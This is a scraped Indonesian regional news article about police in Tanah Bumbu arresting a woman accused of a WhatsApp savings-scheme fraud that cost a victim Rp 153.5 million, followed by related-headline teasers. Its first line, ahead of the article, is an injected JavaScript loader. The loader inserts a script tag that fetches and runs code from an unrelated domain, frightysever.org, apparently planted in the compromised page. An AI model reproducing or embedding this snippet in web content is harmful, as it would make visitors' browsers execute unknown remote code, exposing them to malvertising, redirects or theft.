(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BATULICIN – Unit Resmob Satreskrim Polres Tanah Bumbu (Tanbu) dibantu Unit Reskrim Polsek Satui mengamankan seorang perempuan muda diduga melakukan tindak penipuan dan penggelapan.
Adalah, YA (24), warga Jalan Raya Batulicin RT 15, Desa Batulicin, Kecamatan Batulicin dijemput polisi di sebuah rumah di Jalan Citra Wati Gang Suka Damai II, Kecamatan Satui, Kabupaten Tanbu, kemudian dibawa ke tahanan Mapolres Tanbu, pada Sabtu (2/4/2022).
Penangkapan YA dalam Operasi Sikat Intan 2022 di wilayah Tanah Bumbu.
Kapolres Tanah Bumbu AKBP Tri Hambodo melalui Kasi Humas AKP H Iberahim Made Rasa didampingi Kasat Reskrim AKP Wahyudi Erfan kepada, Rabu (6/4/2022), membenarkan penangkapan atas pelaku tindak penipuan dan penggelapan tersebut.
Baca juga : Rombongan Bupati Zairullah Safari Ramadhan ke Kecamatan Satui
“Anggota Reskrim Polsek Satui dan Unit Resmob Satreskrim Polres Tanah Bumbu mengamankan seorang perempuan inisial YA, warga Jalan Raya Batulicin, Desa Batulicin Kecamatan Batulicin,” sebutnya.
YA, kata Kasi Humas Polres Tanbu, diamankan terkait dugaan tindak pidana penipuan dan atau penggelapan sebagaimana dimaksud dalam Pasal 378 KUHP dan atau 372 KUHP Dengan dasar laporan polisi nomor : LP/B / 22 / I / 2022 / SPKT POLRES TANAH BUMBU / POLDA KALSEL, tanggal 27 Januari 2022 tentang Tindak Pidana Penipuan dan atau penggelepan.
AKP H Iberahim Made Rasa menjelaskan, perkara dan penangkapan pelaku, berawal Sabtu 18 September 2021, Skj. 10.00 Wita, di Jalan Raya Batulicin Gg Karya Mandiri, tersangka YA kepada DL (24) warga Desa Batulicin menawarkan via Whatsapp arisan bayar Rp 10 juta bisa mendapatkan Rp 20 juta dengan jangka tempo satu bulan kemudian.
“Korban DL, tergiur dan mengikuti arisan yang ditawarkan oleh pelaku tersebut. Selanjutnya korban mengirimkan sejumlah uang ke nomor rekening milik pelaku,” kata AKP Made.
Baca juga : Pasutri Pengedar Narkoba di Tanbu Terjaring Operasi Antik Intan 2022
Atas kejadian tersebut korban mengalami kerugian sebesar Rp 153.500.000 dan melaporkan ke pihak Polres Tanah Bumbu.
Setelah pihak Polres Tanbu menerima laporan tentang kejadian tersebut, Unit Resmob Polres Tanbu dan Reskrim Polsek Satui pada Jumat 1 April 2022 akhirnya mengamankan seorang perempuan muda dengan inisial YA di Jalan Citra Wati Gang Suka Damai II, Kecamatan Satui, Kabupaten Tanbu.
“Pelak mengakui perbuatannya dan bersama barang bukti sudah diamanakan di rumah tahanan negara guna proses penyidikan lenih lanjut,” tutupnya. (Kanakalimantan.com/ftr)
Reporter : ftr
Editor : bie
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
This website uses cookies.